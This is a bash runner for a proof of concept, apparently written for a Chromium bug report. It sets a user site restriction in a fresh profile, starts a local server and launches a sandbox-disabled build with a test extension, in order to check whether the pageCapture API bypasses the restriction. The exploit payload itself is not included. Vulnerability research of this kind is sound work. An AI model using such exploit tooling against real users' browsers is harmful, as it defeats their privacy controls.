#!/bin/bash
# Runner for the pageCapture user-restriction bypass POC.
set -e

CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
ARTIFACTS_DIR="$(cd "$(dirname "$0")" && pwd)"
PROFILE_DIR="/tmp/chrome-poc-profile"

# Kill anything left on our ports / profile from a previous run.
for port in 8080 8081; do
  pids=$(lsof -ti:$port 2>/dev/null || true)
  [ -n "$pids" ] && kill -9 $pids 2>/dev/null || true
done
OLD=$(lsof -t "$PROFILE_DIR" 2>/dev/null || true)
[ -n "$OLD" ] && kill -9 $OLD 2>/dev/null || true
sleep 1

echo "[*] Cleaning profile dir $PROFILE_DIR"
rm -rf "$PROFILE_DIR"
mkdir -p "$PROFILE_DIR/Default"

# Pre-populate the user-restricted-sites pref so http://localhost:8080 is in
# the "Block all extensions on this site" list when Chrome starts. This is
# exactly what PermissionsManager::AddUserRestrictedSite() writes.
cat > "$PROFILE_DIR/Default/Preferences" <<'EOF'
{
  "extensions": {
    "user_permissions": {
      "restricted_sites": ["http://localhost:8080"]
    }
  }
}
EOF
echo "[*] Wrote user-restricted-sites pref for http://localhost:8080"

echo "[*] Starting POC server"
cd "$ARTIFACTS_DIR"
python3 server.py &
SERVER_PID=$!
sleep 1

cleanup() {
  kill $SERVER_PID 2>/dev/null || true
  kill $CHROME_PID 2>/dev/null || true
  wait 2>/dev/null || true
}
trap cleanup EXIT

echo "[*] Launching Chrome"
# --enable-features=ExtensionsMenuAccessControl: gates the user "block all
#   extensions on this site" enforcement (PermissionsData::CanRunOnPage). It is
#   already enabled-by-default on Android and is the in-development desktop
#   rollout target; it does not weaken any security gate.
"$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --disable-gpu --enable-logging=stderr \
  --enable-features=ExtensionsMenuAccessControl \
  --user-data-dir="$PROFILE_DIR" \
  --load-extension="$ARTIFACTS_DIR/extension" \
  "http://localhost:8080/secret.html" \
  > "$ARTIFACTS_DIR/chrome-stderr.log" 2>&1 &
CHROME_PID=$!

# Wait for the server to receive POC END (server.py exits on its own), or
# time out.
for i in $(seq 1 30); do
  if ! kill -0 $SERVER_PID 2>/dev/null; then
    break
  fi
  sleep 1
done

echo
echo "===== poc-output.log ====="
cat "$ARTIFACTS_DIR/poc-output.log" || true
echo "=========================="

if grep -q "RESULT: VULNERABLE" "$ARTIFACTS_DIR/poc-output.log" 2>/dev/null; then
  echo "[+] VULNERABLE: pageCapture bypassed user site restriction"
  exit 0
else
  echo "[-] Bug not reproduced (see poc-output.log / chrome-stderr.log)"
  exit 1
fi
